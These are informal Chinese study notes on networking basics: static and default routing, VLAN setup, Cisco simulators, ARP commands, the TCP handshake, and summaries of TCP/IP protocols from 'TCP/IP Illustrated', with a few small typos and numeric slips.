R2 上执行 ip route 192.168.0.0 255.255.255.0 192.168.1.1 // 告诉 R2 如果有去0.0网段的 IP 包, 将包发个 192.168.1.2

这样 A→B 的包 会通过 R1 的 0.0网段 转给 1.1的网口 再转给R2的 1.2的网口 再转给2.0 网段

默认路由: ( 属于 静态路由的一种 )

指的是 当路由表中与包地址 之间没有匹配项目时 路由能做出选择, 如果 没有默认路由 那么 没有匹配项的包将被丢弃.

路由器得查看路由表 决定 如何转发数据包. 用静态路由 一个一个配置 太烦易错.

如果 路由器 有个邻居 知道怎么前往所有目的地 可以把路由表匹配任务交给他 省事. 这个邻居 就是网关. 如果 路由器 连到网关, 那么 所有的数据包都会转发给网关.

默认路由 是 0.0.0.0 (就是 你 不去手动去设置网关) 匹配 ip 地址的时候 0 表示 wildcard / 通配符 . 任何值都可以.

静态路由信息在默认情况下是私有的,不会通告给其它路由器,也就是当在一个路由器上配置了某条静态路由时,它不会被通告到网络中相连的其它路由器上。但网络管理员还是可以通过重发布静态路由为其它动态路由,使得网络中其它路由器也可获此静态路由。

静态路由是具有单向性的,也就是它仅为数据提供沿着下一跳的方向进行路由,不提供反向路由。所以如果你想要使源节点与目标节点或网络进行双向通信,就必须同时配置回程静态路由。这在与读者朋友的交流中经常发现这样的问题,就是明明配置了到达某节点的静态路由,可还是ping不通,其中一个重要原因就是没有配置回程静态路由。

如果某条静态路由中间经过的跳数大于1(也就是整条路由路径经历了三个或以上路由器结点),则必须在除最后一个路由器外的其它路由器上依次配置到达相同目标节点或目标网络的静态路由,这就是静态路由的“接力”特性,否则仅在源路由器上配置这么静态路由还是不可达的。    就像你要从长沙到北京去,假设中间要途经的站点包括:武汉-郑州-石家庄,可人家只告诉你目的地是北京,以及从长沙出发的下一站是武汉。对于一个没有多少旅游经验的人来说,你是不可能知道到了武汉后又该如何走,必须有人告诉你到了武汉后再怎么走,到了郑州后又该怎么走,……。这就是“接力性”。

经验之谈】路由器各端口上所直接连接的各个网络都是直接互通的,因为它们之间默认就有直连路由,无需另外配置其它路由。也即连接在同一路由器上的各网络之间的跳数为0。

VLANs

英文 VLAN pri配置教程

虚拟局域网

ddwrt 设置教程

设置 → VLANs → 每个端口 分配给不同的 组 比如 端口 w 分给 vlan 2 端口 1 分给 vlan 3 端口 2 分给 vlan 4 端口 3 分给 vlan 5 端口 4 分给 vlan 6

然后去 网络下面 端口配置 Vlan 3456 都不要选择预设 选择未配置 . 然后 给每个 vlan 都设置 ip段 + 子网掩码

然后还要开启 dhcp 功能: 也就是多路 dhcpd 功能

这里 添加 4个 dhcpd 服务器. 每个服务器 选择相应的 vlan 分组 就好了. ok.

设备的管理是维护设备正常运行的基本条件,所以这里我们就来了解一下思科路由器和交换机的一些基本管理命令和方法。 管理路由器和交换机的方法以及命令主要分为一下几个方面: 1、了解命令行的模式。 2、配置接口的IP地址以及相关的路由条目。 3、路由器、交换机密码的管理。 4、远程管理路由器、交换机。 5、系统IOS的备份与恢复。

GNS3

互联网操作系统(Internetwork Operating System,简称IOS) 思科公司为其网络设备开发的操作维护系统。

官网下载 1.4.5 免费. 跨平台网络虚拟软件( 路由系统 )

GNS3整合了如下的软件: • Dynamips:电脑运行Cisco系统(IOS)的模拟器 • Dynagen:是Dynamips的文字显示前端 • Pemu:PIX防火墙设备模拟器。 • Winpcap:为win32应用程序提供访问网络底层的能力。   功能简介: • 设计优秀的网络拓扑结构 • 模拟Cisco路由设备和PIX防火墙 • 仿真简单的Ethernet, ATM和帧中继交换机

用户通过命令行人机界面对网络设备进行功能设置,提供的功能大致为以下几点:网络设备及连接端口的功能首选项设置、运行网络协议与网络功能设备间之数据传输安全管理设置。

GNS3 推荐IOS: c3640, c3660, c3725, c3745 and c7200 . // 别的不一定兼容.

Cisco Router + 模拟器

模拟器: 模拟设置.学习用. 类似 VM VB 等虚拟机.

  1. Cisco Packet Tracer 6.2 网络模拟器中文正式版,带中文汉化补丁, 将文件Chinese.ptl拷贝到C:\Program Files (x86)\Cisco Packet Tracer 6.2sv\languages目录下, 运行Cisco Packet Tracer 6.2,在选项中修改语言。

GNS3

不是支持 所有设备的虚拟. 有些.bin 文件 → Sorry, this is not a valid IOS image! 免费软件 官网下载 . 和虚拟机一样 需要 cisco 路由系统的镜像文件( .bin 格式的 )

设置 → Dynamips → ios routers → 选择下载的 .bin 镜像. → 一路 NEXT.

开机: 拖出路由器到主界面. 右键 start
进入命令窗口: 开机后双击路由图标

ARP

Display ARP Cache. 每台电脑 本地 都有一个arp表.

Win

arp -a  
//显示 所有接口的 ARP 缓存表. 

arp -a -N 172.19.16.166
//显示特定接口的 ARP 缓存表.

arp -d 删除 arp -s 手动添加静态 arp 表. arp -a 增加

ARP 绑定. 双向的! 本地和网关 都要绑定.


  • 查看所有参数 arp -a

  • 导出文件:

    arp -a >/users/v/desktop/mb/xx.txt

  • 分页显示: arp -a | less

  • 把 192.168.1.2 解析成 00-11-22-33-44-55 arp -s 192.168.1.2 00-11-22-33-44-55

  • 删除 arp arp -d

  • 增加 arp arp -a

    Three-way handshake

    一个虚拟的链接的建立 是通过三次握手 来实现的

SYN: 握手信号 Synchronous *ACK: 确认标志

SYN/ACK 包: 确认包 仅仅是 SYN 和 ACK 标记为1 的 TCP 包

 第一次握手:  

  1. 客户端 发一个 SYN=1 ACK=0 的TCP包 表示: 请求进行连接.

    只是请求/试探/询问是否可以连接服务器,服务器同意连的话 还是要客户端再确认一次(也就是第三次握手)才正式连接.

 第二次握手:  

  1. 服务器收到请求并允许进行连接的话

    发一个 SYN=1 ACK=1 的 TCP 包给客户端
    表示: 可以连接了 并 要求客户端返回一个确认数据包 确认进行连接 (有可能 客户端只是问问能不能链接)

 第三次握手:  

  1. 客户端 发一个SYN=0,ACK=1的数据包给服务器,告诉服务器我确实要建立连接 而不是耍你… 正式连接成功

    连接成功以后: TCP 的每个包 都会设置 ACK 位 这就是连接跟踪 很重要的原因了
    没有跟踪的话防火墙无法判断 收到的 ACK 包是不是属于一个已经建立的链接.

    在客户机和服务器之间建立正常的TCP网络连接时, 首先 客户端发出一个包含SYN标志的数据包 然后 服务器 返回 SYN+ACK的应答包 表示接收到了这个消息, 最后 客户机再返回一个ACK确认包响应。 这样在客户机和服务器之间才能建立起可靠的TCP连接,数据才可以在客户机和服务器之间传递。 当服务器发送应答包后 没收到确认包 服务器就会进入等待直到超时 等待期间 这些半链接的客户端都保存在一个有限的缓存列表中 如果有大量的 syn 包发给服务器 而且又不回应服务器的话 会造成 tcp 资源迅速耗尽 直到服务器系统崩溃

    wireshark TCP 握手 实测: 显示过滤里 设置 tcp.stream eq 5
    然后打开一个网站 wireshark 里就能 看到3个 数据了 这就是三次握手包

TCP & UDP

  • TCP ( Transmission Control Protocol ) 可靠性高
  • UDP ( User Datagram Protocol ) 可靠性低 & 传输快

TCP / IP 重要特点:  与低层的数据链路层和物理层无关.

TCP: Transmission Control Protocol传输控制协议

*事先为所发送的数据开辟出连接好的通道,然后再进行数据发送;

提供: 数据流传送、可靠性、有效流控、全双工操作和多路复用。

TCP支持的协议主要 有: Telnet、FTP、SMTP等 

UDP:

*不提供 可靠性、流控、 差错恢复功能。是一种无连接的传输层协议

UDP支持协议主要有:

  • NFS 网络文件系统
    • SNMP 简单网络管理协议
    • DNS 主域名称系统
    • TFTP 通用文件传输协议

TCP 数据包结构 :** 

*TCP 报文结构 : 报文首部 + 用户数据

  • *首部: 默认 20 Byte字节 ( 也就是 160bits )

    1. Source Poret 【源端口】 - 16bit 来源端口号;
      1. Destination 【目的端口】- 16bit 目的端口号;

      2. 【序号】- 32bit 每一个TCP报文段都会有一个序号,序号字段的值其实是本报文段所发送的数据的第一个字节的序号。这是因为TCP是面向连接的可靠服务,其每一个字节都会对应一个序号,通过序号来确保服务的可靠性和有序性。

      3. 【确认号】- 32bit 确认号,是期望收到对方的下一个报文段的数据的第一个字节的序号。(这句话有些拗口,但是在后面我们讲解三次握手和四次挥手时,大家会更深刻的理解这句话的含义)

      4. 【数据偏移】- 4bit 其实它本质上就是“首部长度”,因为“数据偏移”是指TCP报文段的数据部分的起始处距离TCP报文段的起始处的距离。(仍然很拗口,但相信你能明白)。 数据偏移总共占4bit,因此最大能表示的数值为15。而数据偏移的单位是“4字节”,此处的设计和IP数据报的设计是完全相同的,所以说TCP报文段首部的长度最长为15×4=60字节,且首部长度必须为4字节的整数倍。

      5. 【保留字段】- 6bit 这6bit在标准中是保留字段,我猜测,有两个目的,第一个是预留除URG/ACK/PSH/RST/SYN/FIN/之外的冗余功能位;第二个是为了对其字节位。

      6. 【紧急字段URG】- 1bit。 当URG=1时,,此报文段中有紧急数据,应尽快优先传送。

      7. 【确认字段ACK】- 1bit。 ACK=1: 表示确认,且确认号有效;当ACK=0时,确认号字段无效。

      8. 【推送字段PSH】- 1bit 当PSH=1时,则报文段会被尽快地交付给目的方,不会对这样的报文段使用缓存策略。

      9. 【复位字段RST】- 1bit RST=1 :表明TCP连接中出现了严重的差错,必须释放连接,然后再重新建立连接。

      10. 【同步字段SYN】- 1bit。 当SYN=1时,表示发起一个连接请求。

      11. 【终止字段FIN】- 1bit。 用来释放连接。当FIN=1时,表明此报文段的数据已发送完成,并要求释放连接。

      12. 【窗口字段】- 16bit 此字段用来控制对方发送的数据量,单位为字节。 一般TCP连接的其中一端会根据自身的缓存空间大小来确定自己的接收窗口大小,然后告知另一端以确定另一端的发送窗口大小。

      13. 【校验和字段】- 16bit 这个校验和是针对首部和数据两部分的。

      14. 【紧急指针字段】- 16bit 紧急指针指出在本报文段中的紧急数据的最后一个字节的序号。

TCP/IP 详解 卷 1 : 协议

引言:

TCP/IP 协议 使得各种型号各种操作系统的电脑能互相通信. 这很神奇.

TCP、UDP 两种最著名的运输层协议,两者都使用 IP 作为网络层协议 !! 网络协议 通常分不同层次进行开发,每一层负责不同的功能.

TCP/IP 分四层 : 链路层、网络层、传输层 、应用层

网络层 : IP 提供点到点的服务 传输层 : TCP/UDP 端到端的服务

**链路层: ARP、RARP、硬件接口 *处理与电缆(网线)的物理接口细节. 也就是网卡驱动程序

ARP 地址解析协议 RARP 逆地址解析协议

*网络层: IP、ICMP、IGMP  处理网络中的活动

IP 网际协议 ICMP 互联网控制报文协议 IGMP 互联网组管理协议

*运输层: TCP、UDP  为两台主机上的应用程序 提供端到端的通信

TCP 传输控制协议 提供高可靠性的数据通信.

把应用程序交给他的数据 分成合适的小快 交给下面的网络层 确认接收到的分组 设置发送最后确认分组的超时时钟等 由于本身就是高可靠性 因此应用层可以忽略所有的这些细节

**UDP 用户数据报文协议

把数据报的分组 从一台主机 发送到另一台主机. 并不保证数据报能到达另一端. 任何必须的可靠性 必须由应用层来提供.

应用层: 用户进程 *处理特定的应用程序细节

Telnet 远程登录 FTP 文件传输 SMTP 简单邮件传送协议 SNMP 简单网络管理协议

应用层 一般是一个用户进程 下三层 一般在 系统内核中执行. 顶层与下 三层关键区别:
顶层( 应用层) 只关心 应用程序的细节. 不关系数据在网络中的传输 下三层 对应用程序一无所知 但是 要处理所有的通信细节.

FTP 是一种 应用层协议 以太网协议 在链路层上

TCP/IP 是好多协议的组合. TCP IP 只是其中的两种而已.

网络接口层 和应用层的目的很显然

网络接口层: 处理有关通信媒体的细节 : 以太网 令牌环网 等 应用层: 处理某个特定的应用程序.

互联网 internet 就是一组 通过相同协议 互联在一起的网络.

构造互联网 最简单的方法就是 把多个网络 通过路由器进行连接.

路由器: IP Router 为不同类型的 物理网络提供连接. 以太网 令牌环网 点对点的链接 和 FFDI 光纤分布式数据接口 等等

网络层 IP 提供的是一种不可靠的服务.

互联网的目的之一 就是 在应用程序中 隐藏所有的物理细节. 应用层 不能关心 也不关心 这台电脑是在 以太网上 或者 令牌环网上

应用层: 就是 用户进程

网桥: 链路层上对网络进行连接 路由器: 网络层上对网络进行连接

互联网地址: 互联网上的每个接口 都必须有一个唯一的 IP 地址. IP 地址长度 32 bit.

IP 地址有一定的结构. 并不单纯的是一串数字.

域名系统: 一个分布的数据库. 提供 IP地址 和 主机名 之间的映射信息. 任何应用程序 都能调用这个标准的函数库来寻 主机名和 IP 的对应关系.

封装:

应用程序 → TCP 层 叫:TCP 报文 → IP 层 叫: IP 数据包 → 网卡层: 叫帧 Frame

每经过一层 都会再这个数据增加一些首部信息( 有可能还会加尾部信息 ) 比如 TCP 首部 IP 首部 以太网首尾部.

帧的物理特性长度 必须在 46-1500 字节 之间.

数据在网线中参数的教育 叫分组 ( Packet )

由于 TCP UDP ICMP IGMP 都要向 IP 传送数据. 所以 IP 生成的首部 要加入某种标识 表明数据属于哪一层, 这个就叫 协议域 1 是 ICMP 2 是 IGMP 6 是 TCP 17 是 UDP

类似的 很多应用程序都能用 TCP 或 UDP 来传送数据. 运输层生成报文首部时候 也有一个应用程序的标识符.

分用: 主机收到一个以太网数据帧时 数据就开始从协议 由底向上升 同时去掉各种报文首部.

编程接口: 使用 TCP、IP 协议的应用程序 通常采用两种应用编程接口API : Socket 和 TLI 运输层接口 ( Transport Layer Interface )

链路层

链路层目的:

  • IP 模块: 发送和接受 IP 数据包.
  • ARP 模块: 发送和接受 ARP 应答
  • RARP 模块: 发送和接受 RARP 应答

环回接口: Loopback Interface *允许运行在同一主机上的 客户程序和服务器程序 通过 TCP/IP 进行通信

A类 网络 127 就是给环回接口预留的. 根据惯例: 大多数系统把 127.0.0.1 分配给这个接口. 并命名为 Localhost 一个传给环回接口的 IP 数据包不能在任何网络上出现.

IP: 网际协议

*IP 是 TCP/IP 协议中最核心的协议 . *所有的 TCP、UDP、ICMP、IGMP 数据 都以 IP 数据报格式传输

不可靠: 不能保证 IP 数据报能成功抵达目的地. 如: 路由器暂时用完了缓冲区, IP 有个最简单的处理算法: 丢弃该数据报.然后发送 ICMP 消息报给信源端.

IP 数据包结构 : 一个刻度表示1个二进制位(比特)。
普通 IP 首部长 20字节

  • 版本4位 :  表示协议版本号,即常说的IPv4 ;

  • 头长4位 : 数据包头部长度。

    它表示数据包头部包括多少个32位长整型,也就是多少个4字节的数据。无选项则为5(红色部分)。

  • 服务类型8位 :  每个位的意义如下:

    1. 过程字段: 3位, 取值:0(正常)- 7(网络控制) 数据包重要性,取值越大数据越重要.
      1. 延迟字段: 1位, 取值:0(正常)、1(期待低的延迟)
      2. 流量字段: 1位, 取值:0(正常)、1(期待高的流量)
      3. 可靠性字段: 1位, 取值:0(正常)、1(期待高的可靠性)
      4. 成本字段: 1位, 取值:0(正常)、1(期待最小成本)
      5. 保留字段: 1位,未使用
  • 包裹总长16位 :  当前数据包的总长度,单位是字节。当然最大只能是65535,及64KB。

  • 重组标识16位 :  发送主机赋予的标识,以便接收方进行分片重组。

  • 标志3位 : 

    1. 保留段位(2):1位,未使用
      1. 不分段位(1):1位,取值:0(允许数据报分段)、1(数据报不能分段)
      2. 更多段位(0):1位,取值:0(数据包后面没有包,该包为最后的包)、1(数据包后面有更多的包)
  • 段偏移量13位 : 与更多段位组合,帮助接收方组合分段的报文,以字节为单位。

  • 生存时间8位 :  ping命令看到的TTL(Time To Live) 就是这个,每经过一个路由器,该值就减一,到零丢弃。

  • 协议代码8位 :  使用该包裹的上层协议,如TCP=6,ICMP=1,UDP=17

  • 头检验和16位 : 是IPv4数据包头部的校验和。

  • 源始地址32位 :  我们常看到的IP是将每个字节用点(.)分开,如此而已。
  • 目的地址32位 : 同上。

  • 可选选项 :  主要给一些特殊的情况使用,往往安全路由会当作攻击而过滤掉.
  • 用户数据

最小的延迟 : Telnet 最大吞吐量 : FTP
最高可靠性 : SNMP 网络管理 和 路由选择协议
最小费用: 用户网络新闻

TTL Time-To-Live 生存时间: 设置了 数据包 可以经过的最多路由器数! 默认32/64 每经过一个路由器,值就减去1. 值为零时. 数据包被丢弃.并发送 ICMP 报文通知源主机

IP 路由选择

IP 层在内存中有个路由表.收到一个数据包 并进行发送时 它都要对该表搜索一次.

路由表

目的 IP 地址: 下一站/下一条 路由器的 ip 地址: 标志: 指明目的 ip 地址是网络地址 还是主机地址 . 为数据包的传输指定一个网络接口.

IP 路由选择是 逐跳进行的. IP 并不知道 到达任何目的的完整路径. (除了那些与主机直接相连的)

IP 路由功能:

搜索路由表 找到能与目的 ip 地址完全匹配的表 (网络号 主机号 都要匹配)

搜索路由表 找到能与目的的网络号相匹配的表 如果找到 就把报文发送给该表木自动的下一站路由器. 以太网上的所有主机都是通过这种表目进行寻径的

搜索路由表 寻找标为默认的表.

如果上面的步骤都没有成功 那么该数据包 就不能被传送..程序会报错.

完整主机地址匹配在网络号匹配之前执行. 当他们都失败后 才选择默认路由器.

子网寻址:

现在所有的主机都要求 支持子网编地 不能把 IP 看成 由 单纯的网络号+主机号组成 而是 把主机号再分成一个子网号和主机号!!! 原因是 AB 类地址 为主机号分配了太多的空间. 可容纳的主机数 2的24次-2 和 2的16次-2
全0 和全1 是无效的 所以要减2

事实上 一个网络中人们不会安排那么多主机.

如: B 类网络 16位网络号+ 16位主机号. 这16位主机号 下面可以再分子网 比如8位用于子网号码 8位用于主机号 那么 就允许有254个子网 每个子网可以有254台主机

大多数子网 都是 B类的.其实还能用 C 类地址 只是它可用的比特数比较少而已.

很少出现 A 类地址的子网例子是因为 A 类地址本身就少. 但是大多数 A 类地址都是惊喜子网划分的.

子网 对外部路由器来说 隐藏了内部网络组织的细节.

如: b 类地址下有 1000个子网. 你要知道子网号码 数据包才能准确的送到你的网络.

子网掩码: 除了 IP地址 主机还需要 有多少 bit 用途子网号 多少 bit 用于主机号

掩码 是一个32bit 的值. → 11111111111111111111111111111111 值为1的比特 留给网络号和子网号 值为0的比特 留给主机号

B类
16位网络号 + 8为子网号 + 8位主机号 → 1111111111111111+11111111+00000000 → 也就是255.255.255.0

16位网络号 + 10位子网号 + 6位主机号 → 1111111111111111 + 1111111111 + 000000 → 也就是255.255.255.192 给定 IP 地址 和 子网掩码后: 主机就能确定 IP 数据包的目的:

  1. 子网上的主机
  2. 本网络 其他子网中的主机
  3. 其他网络上的主机

如果知道本机的 IP 地址 那么就直达它是 ABC 的哪类. 可以从 IP 的第一段取值范围看.

也就知道网络号和子网号之间的分界线. 再根据子网掩码 就能知道 子网号与主机号之间的分界线

例子:

假设 本机 IP 地址 140.252.11.1 → 可以看出是 B 类地址 16位 网络号. 子网掩码: 255.255.255.0 →除去前面 两个 255 也就是16位网络号码 还剩下255.0 可以算出 255=2的8次-1 所以 子网号码是8位 主机号也有8位.

如果目的 IP 是 140.252.4.5 可以看出B 类别网络号是相同的 ( 140.255 )

但是子网号是不同的 ( 1和4 )

如果目的 IP 是 140.255.1.22 可以看出网络号 还是一样 ( 140.255 ) 子网号也是一样 但是主机号不同

如果目的 IP 是 192.43.235.6 一个 C 类别地址. 那么网络号是不同的 其他肯定不同.

国际在线 允许一个含有子网的网络 使用多个子网掩码.

ifconfig: 这个命令一般在引导时运行.

环回接口: Lo0 一个 A 类地址.

netstat: -i 打印出接口信息 -n 打印出 IP 地址 netstat -in 看每个网卡的 IP

ARP

ARP 为 IP地址到对应的硬件地址 提供动态映射.

RARP 被那些没有磁盘驱动器的系统使用. 如无盘工作站 需要系统管理员手工设置.

ARP广播: ARP发送一份称作 ARP请求的以太网数据帧给以太网上的每个主机。 ARP请求数据帧中包含目的主机的 IP地址(主机名为 bsdi), 其意思是“如果你是这个 IP地址的拥有者,请回答你的硬件地址。

目的主机 收到这个广播,发现是找自己的 (根据 IP 地址) 于是发送一个 ARP 应答. 这个应答包里面包含自己的IP+Mac 地址.

网络接口 有硬件地址: 48 bit TCP/IP 有IP 地址: 32 bit 要参数数据. 必须要知道 硬件地址才能. 只有 ip 地址是不行的. ARP 就是 给硬件地址 和 IP 地址 提供动态映射.

ARP 高速缓存:

ARP 高效运行的关键是: 每个主机上都有一个 ARP 高速缓存. 这个缓存 存放了 最近的 ip 地址 和 Mac 地址 的映射历史记录. 每项记录的生存时间一般是20分钟. 从映射被创建开始计时.

查看 本地 ARP 缓存: arp -a -a 是显示全部的意思

ARP 格式

前两个字段: 以太网的源地址 和 目的地址

目的地址 全是1 是特殊地址: 也就是广播地址. 电缆上 所有的网卡 都要接受广播的数据帧

帧类型: 2 字节.

op 操作字段: 时钟操作类型 ARP 请求 值为1 ARP 应答 值为2 RARP 请求 值为3 RARP 应答 值为4

对于 不存在主机的 ARP 请求: 比如 主机已经关机.

ARP 高速缓存超时: arp 一般都要设置超时. 管理员 可以用 arp 命令固定 arp 而不设置超时.

ARP 代理: arp 请求是从 一个网络发送到另一个网络的. 那么 连接这两个网络的路由器 就能回答双方的 arp 请求.

这个 就是 ARP 代理 : Proxy ARP 这个功能 可以欺骗 发送端 让它误以为路由器就是主机. 事实上 目的主机在路由器的另一端

arp -d 删除某项 arp 对应.

arp -s 增加arp内容

RARP: 逆地址解析协议

有硬盘的电脑 一般是从 硬盘上的配置文件中读取 IP 地址.

无盘机,或者 无盘工作组 需要别的办法来获取 IP

每个网卡都是有唯一的硬件地址的.由网卡厂商配置的. 大概就是 开机 取得 网卡的 mac 地址. 发送一个 RARP 请求 (局域网内广播) 请求别的主机 相应这个无盘系统的 IP 地址.

ICMP: internet 控制报文协议

icmp 覆盖范围很广
从 致命差错到 信息差错.

Ping 程序

名字起源于 声呐定位操作. 目的是为了测试另一台主机是否可达.

如果不能 ping 到某台主机 那么一般不能 Telnet 或者 ftp 进去 如果不能 telnet 某台电脑 一般可以用 ping 程序来确定问题出在哪.

PIng 还能 测试到一台主机的往返时间, 以表明主机离我们多远.

通常 第一个 ping 值的 往返时间比后面的值大 是因为目的主机的硬件地址 不在 arp 高速缓存里 所以慢. 因为 要发送和接受 arp 请求

ping 程序 为我们提供了 查看 IP 记录路由 的机会. ping -R 选项.

IP 时间戳

ping 程序是对两个 TCP/IP 系统的连通性进行测试的基本工具 只利用 ICMP 回显请求和回显应答报文. 而不用经过 传输层 (TCP/UDP)

Traceroute & TTL

发 UDP 数据报给服务器. 目的端口号是一个不可能的端口. 当数据报到达服务器. 目服务器的 UDP 模块 会产生一份 端口不可达的 ICMP 报文. 就表示到达目的主机. 结束路由追踪.

流程:

  1. 本机发送TTL=1 的 IP 数据报 给目的主机. 经过第一个路由器时. TTL=0 路由器丢弃该数据报, 并返回一个 ICMP 报文. 这报文里面有第一个路由器的地址.
    1. 本机发送TTL=2 的 IP 数据报 给目的主机. 经过第二个路由器时. TTL=0 路由器丢弃该数据报, 并返回一个 ICMP 报文. 这报文里面有第二个路由器的地址.
      1. 本机发送TTL=3 的 IP 数据报 给目的主机. 经过第三个路由器时. TTL=0 路由器丢弃该数据报, 并返回一个 ICMP 报文. 这报文里面有第三个路由器的地址.
      2. 本机发送TTL=4 的 IP 数据报 给目的主机. 经过第四个路由器时. TTL=0 路由器丢弃该数据报, 并返回一个 ICMP 报文. 这报文里面有第四个路由器的地址.
      3. ………
      4. 特殊端口号的 UDP 数据报到达服务器,返回 端口不可达的 ICMP 报文.
      5. 结束

      路由器 只会在 TTL=0 时 返回一个 ICMP 数据报. Traceroute 只需区分 接受到的ICMP 报文是超时还是端口不可达.以判断什么时候结束.

IP 数据报 从一台电脑到另一台电脑 所 经过的 路由.

traceroute 程序 不需要 路由器有任何的特殊功能.

ttl : 防止数据报在选路时无休止的在网络中流动.

路由收到 ttl =0 的数据报 会丢弃该数据报.然后给信源发一份 ICMP 超时的信息.

Traceroute 必须可以给 数据报 设置 TTL 字段. 这个需要 管理员权限.

每个 路由器 发送3份数据报. 每收到一份 ICMP 报文. 就显示出往返时间. 5秒内 没有收到3份中的任意一份响应. 就打个星号. 并发送下一份数据报.

往返时间: 是往返的总时间.

IP 选路

选路是 IP 最重要的功能之一.

路由表的维护: 路由表中的信息 决定 IP 层的所有决策.

IP 搜索 路由表 步骤:

  1. 搜索匹配的主机地址
  2. 搜索匹配的网络地址
  3. 搜索 默认表项 (一般 是路由表中 一个指定的网络表项 网络号=0 )

先匹配主机地址 在匹配网络地址 .

选路机制: 搜索路由表 并决定 向哪个网络接口发送分组. 选路策略: 只 决定把哪些路由放入路由表规则

IP: 执行选路机制 路由守护程序: 提供选路策略

简单路由表: 列出路由表: netstat -r

netstat -rn

用数字格式 打印出 IP 地址

Routing tables

Internet: Destination Gateway Flags Refs Use Netif Expire default 172.19.16.1 UGSc 138 157 en5 default 172.19.16.1 UGScI 9 0 en0 127 127.0.0.1 UCS 1 0 lo0 127.0.0.1 127.0.0.1 UH 102 5031509 lo0 169.254 link#5 UCS 2 0 en5 169.254 link#4 UCSI 3 0 en0 169.254.136.96 link#4 UHLSW 1 1 en0 169.254.229.64 link#4 UHLSW 1 5 en0 169.254.255.255 link#5 UHLSW 2 22 en5 172.19.16/24 link#5 UCS 74 0 en5 172.19.16/24 link#4 UCSI 53 0 en0 172.19.16.1/32 link#5 UCS 2 0 en5 172.19.16.1 0:2:85:a:75:40 UHLWIir 10 0 en0 1199 172.19.16.1/32 link#4 UCSI 2 0 en0 172.19.16.1 0:2:85:a:75:40 UHLWIir 140 234 en5 1168 172.19.16.14 0:50:56:9e:66:dd UHLWIi 2 8169 en5 1178 172.19.16.15 0:c:29:b5:d1:ee UHLWIi 2 24097 en5 1193 172.19.16.16 f4:ce:46:b1:19:6 UHLWIi 2 6232 en5 1192

说明: 倒数第三行

如果目的是 到172.19.16.14的 那么网关就把数据发给 .14的mac 地址.

Flags 标志: 对于一个给定的路由 可以有5种不同的标志

U 该路由 可用. **G 该路由 是到一个网关的. 没有这个标志 说明目的地是直接相连的. 重要标志: 区分了是间接路由 / 直接路由 .(直接连路由是没有G 标志的)

**H 有标志该路由 是到一个主机的.目的地址是一个完整的主机地址. 没标志:说明这个路由是到一个网络. 目的地址是一个网络地址: 一个网络号 或者网络号和子网号的组合. D 该路由 是由重定向报文创建的. M 该路由 已被重定向报文修改.

Refs: 参考计数 Reference count 列出 正在使用路由的活动进程个数

Use: 通过该路由发送的分组数: 如果我们是该用户的唯一用户,那么 运行 ping 发送5个分组后 值会变成5

最后一列: 本地接口的名字.

输出的

第二行: 环回接口 名字始终是 LoO 第三行: 默认路由 每个主机都有一个或多个 默认路由. 如果表中没有找到特定的路由 那么就发送到默认路由器.

初始化路由表

一般 用 ifconfig 默认设置接口地址时候 就自动创建一个直接路由.

对于点对点链路 或者 环回接口 路由是达到主机 对于广播接口 如 以太网 : 路由是达到网络

到达主机 或者网络的路由 如果不是直接相连的. 那么必须加入 路由表.

ICMP: 当路由 收到一份 IP 数据包 但又不能转发时. 就要发送一份 ICMP 主机不可达 的 差错报文.

转发 / 不转发:

动态选路协议:

相邻的路由器 之间 进行通信, 以告知对方 每个路由器当前所连接的网络.

路由器 之间 必须采用 选路协议进行通信. 选路协议有很多种. 路由器上有个进程: 路由守护程序 (Routing daemon) 运行选路协议.于相邻的路由器进行通信.

RIP: 选路信息协议

最广泛使用/也最容易受攻击的选路协议.

UDP: 用户数据报协议

进程的每个输出操作都正好 产生一个 UDP 数据包, 并组装成一份 待发送的 IP 数据包.

应用程序 必须关心 IP 数据包的长度. 如果超过 MTU 那么就要对 IP 数据包进行分片.

IP 分片

物理网络层 一般会限制 每次发送 数据帧的最大长度.

本机的 IP 层, 接收到一份 要发送的 IP 数据包时:

  1. 判断 向本地哪个接口发送数据. (选路)
    1. 查询 该接口获得其 MTU.
      1. IP 层: 要发送的数据包长度 和 MTU 进行比较. 有需要的话就进行分片.

        可以在原始发送端 或者 路由器上 进行 分片

数据分片后 只有达到目的地 才进行组装.

UDP ARP 的交互作用:

最大 UDP 数据报 长度

单播 广播 多播

广播 & 多播 仅适用于 UDP

单播: unicast 两个主机通信不会干扰其他主机.

广播: broadcast 主机向网上的所有其他主机 发送帧.

多播: multicast 给某个组 (组里有固定的成员) 发送数据 比如 给多人发送邮件.

网卡工作流程:

  1. 查看 由信道送过来的帧
  2. 是否接受该帧 如接受: 传送帧搭配设备驱动程序. 然后驱动程序 吧帧传给下一层. 比如帧类型是 IP 数据报 那么就传到 IP 层. IP 根据 IP 地址中的 源地址 和 目的地址,进行更多的过滤检测 如果正常 就传送给下一层 如: TCP UDP

    一般网卡 仅接受 帧的Mac地址是自己的帧 & 广播地址的帧.

*混合模式 / 混杂模式  接收每个帧的一个复制. Tcpdump 就使用这种模式.

受限的广播

255.255.255.255 主机 不知道自己网段的 网络掩码. 连自己 IP 都不知道. 这样的数据 只存在本地网络中

IGMP: internet 组管理协议.

DNS 域名系统:

域名系统( D N S)是一种用于 T C P / I P应用程序的分布式数据库,它提供主机名字和 I P地 址之间的转换及有关电子邮件的选路信息。

bootp 引导程序协议

SNMP 简单网络管理协议:

网络设备很多 比如: 路由器 打印机 等等 这些设备 都是运行 TCP/IP 协议的.

管理站 可以显示 所有被管设备的状态. 例如 是否掉线 各种流量等等

Telnet & Remote Login 远程登录.

Remote Login 是最广泛的应用之一.

TCP/IP 网络 两种应用 提供远程登录功能.

Telnet 协议

可以工作在任何主机. 任何操作系统 任何终端.

FTP 文件传送协议 (TCP 协议)

常见的应用程序. 文件传输的 Internet 标准.

文件传送. 文件存取区别: 文件传送: 由 FTP 应用提供 文件存取: NFS (Sun 的网络文件系统) 等应用提供

要使用 FTP 就要有登录服务器的注册账号密码 或者 通过允许匿名 FTP .

最早是为了 两台不同的主机 运行着不同的操作系统 不同的文件结构 或许还使用不同的字符集.

工作原理:

服务器: 以被动方式 打开众所周知的 用于 FTP 的端口 (21) 等待用户的连接.

客户端: 主动打开 TCP 21端口 ,与服务器建立连接. 由于该连接 是用于文件传输目的: 所以 IP 对数据连接的特点是 : 最大限度的提高吞吐量.

匿名 FTP

允许 任何人 注册并使用 FTP 来传输文件.

SMTP 简单邮件传送协议.

电子邮件 是最流行的应用程序 所有 TCP 连接中 大约一半是 用于 简单邮件传输协议的 SMTP

网络文件系统

NFS 网络文件系统

tcpdump

